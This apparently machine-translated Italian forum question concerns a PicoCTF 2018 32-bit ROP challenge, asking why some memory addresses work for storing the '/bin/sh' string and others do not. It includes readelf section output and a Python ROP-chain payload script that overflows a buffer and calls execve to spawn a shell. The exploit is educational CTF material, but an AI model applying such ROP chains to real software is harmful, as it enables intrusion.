Mi sono imbattuto in qualche comportamento in una sfida CTF che sembra molto strano e mi chiedevo se qualcuno potesse aiutarmi a capirlo.
La sfida CTF era la sfida can-you-gets-me in PicoCTF2018 .
Era una sfida ROP (32 bit), e nel mio primo tentativo, ho scritto '/ bin / sh \ x00' in un punto nel mezzo della sezione .data
( 0x080ea6a0
), ma quando Ho eseguito l'exploit, ho ottenuto:
/bin/sh: 1: /bin/sh: Syntax error: word unexpected (expecting ")")
Dopo aver cercato online alcune soluzioni, ho scoperto che stavano usando indirizzi diversi per me. Ho provato uno di loro e ho scoperto che l'exploit funzionava con un indirizzo ( 0x80e9d60
) che non sembra essere in nessuna sezione.
L'output readelf
per le sezioni era:
$ readelf gets -S
There are 31 section headers, starting at offset 0xb0cc8:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .note.ABI-tag NOTE 080480f4 0000f4 000020 00 A 0 0 4
[ 2] .note.gnu.build-i NOTE 08048114 000114 000024 00 A 0 0 4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
[ 3] .rel.plt REL 08048138 000138 000070 08 AI 0 23 4
[ 4] .init PROGBITS 080481a8 0001a8 000023 00 AX 0 0 4
[ 5] .plt PROGBITS 080481d0 0001d0 0000e0 00 AX 0 0 16
[ 6] .text PROGBITS 080482b0 0002b0 07253c 00 AX 0 0 16
[ 7] __libc_freeres_fn PROGBITS 080ba7f0 0727f0 000a6d 00 AX 0 0 16
[ 8] __libc_thread_fre PROGBITS 080bb260 073260 00009e 00 AX 0 0 16
[ 9] .fini PROGBITS 080bb300 073300 000014 00 AX 0 0 4
[10] .rodata PROGBITS 080bb320 073320 01a8ac 00 A 0 0 32
[11] __libc_subfreeres PROGBITS 080d5bcc 08dbcc 000028 00 A 0 0 4
[12] __libc_atexit PROGBITS 080d5bf4 08dbf4 000004 00 A 0 0 4
[13] __libc_thread_sub PROGBITS 080d5bf8 08dbf8 000004 00 A 0 0 4
[14] .eh_frame PROGBITS 080d5bfc 08dbfc 012b10 00 A 0 0 4
[15] .gcc_except_table PROGBITS 080e870c 0a070c 0000d0 00 A 0 0 1
[16] .tdata PROGBITS 080e9f5c 0a0f5c 000010 00 WAT 0 0 4
[17] .tbss NOBITS 080e9f6c 0a0f6c 000018 00 WAT 0 0 4
[18] .init_array INIT_ARRAY 080e9f6c 0a0f6c 000008 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 080e9f74 0a0f74 000008 00 WA 0 0 4
[20] .jcr PROGBITS 080e9f7c 0a0f7c 000004 00 WA 0 0 4
[21] .data.rel.ro PROGBITS 080e9f80 0a0f80 000070 00 WA 0 0 32
[22] .got PROGBITS 080e9ff0 0a0ff0 000008 04 WA 0 0 4
[23] .got.plt PROGBITS 080ea000 0a1000 000044 04 WA 0 0 4
[24] .data PROGBITS 080ea060 0a1060 000f20 00 WA 0 0 32
[25] .bss NOBITS 080eaf80 0a1f80 000e0c 00 WA 0 0 32
[26] __libc_freeres_pt NOBITS 080ebd8c 0a1f80 000018 00 WA 0 0 4
[27] .comment PROGBITS 00000000 0a1f80 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 0b0b7c 00014c 00 0 0 1
[29] .symtab SYMTAB 00000000 0a1fb8 007ec0 10 30 847 4
[30] .strtab STRTAB 00000000 0a9e78 006d04 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
E qui ci sono alcuni esempi di indirizzi che hanno funzionato:
-
0x080e9d60
(menzionato sopra) -
0x080e9ff0
(.got
) -
0x080ebd8c
(libc_freeres_ptrs
) -
0x080e9f3c
-
0x080e9f4c
-
0x080e9f4c
-
0x080ea040
-
0x080eaf60
-
0x080ebd6c
La mia domanda è: Che cosa c'è di così speciale sopra questi indirizzi che consentono all'impatto di funzionare, mentre gli altri no? ovvero quali criteri si dovrebbero osservare per scegliere un indirizzo per scrivere i dati in un exploit?
Lo stack ROP Ecco parte dello script python che sto usando per generare il payload, per riferimento:
# Changing this variable is what makes the chain work or fail.
data = 0x80e9d60
# Useful addresses
pop_eax = 0x080b81c6 # pop eax; ret;
pop_ebx = 0x080481c9 # pop ebx; ret;
pop_ecx = 0x080de955 # pop ecx; ret;
pop_edx = 0x0806f02a # pop edx; ret;
swap_eax_edx = 0x0809cff5 # xchg eax, edx; ret;
zero_eax = 0x08049303 # xor eax, eax; ret;
syscall = 0x0806f630 # int 0x80; ret;
write = 0x080999ad # mov dword [edx], eax; ret
# /bin/sh string
str1 = '/bin'
str2 = '/sh\x00'
# The buffer to overwrite with junk
payload = 'A'*28
# Write 1 (/bin)
payload += p32(pop_eax)
payload += str1
payload += p32(pop_edx)
payload += p32(data)
payload += p32(write)
# Write 2 (/sh)
payload += p32(pop_eax)
payload += str2
payload += p32(pop_edx)
payload += p32(data + 4)
payload += p32(write)
# Write pointer to /bin/sh
payload += p32(pop_eax)
payload += p32(data)
payload += p32(pop_edx)
payload += p32(data + 8)
payload += p32(write)
# Set edx to 0
payload += p32(zero_eax)
payload += p32(swap_eax_edx)
# Make the syscall with the correct values in registers
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_ecx)
payload += p32(data + 8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(syscall)
Modifica: dopo ulteriori ricerche, una possibile spiegazione che ho trovato è che il nuovo processo /bin/sh
sovrascrive porzioni di memoria. Vedi link . È questa la ragione?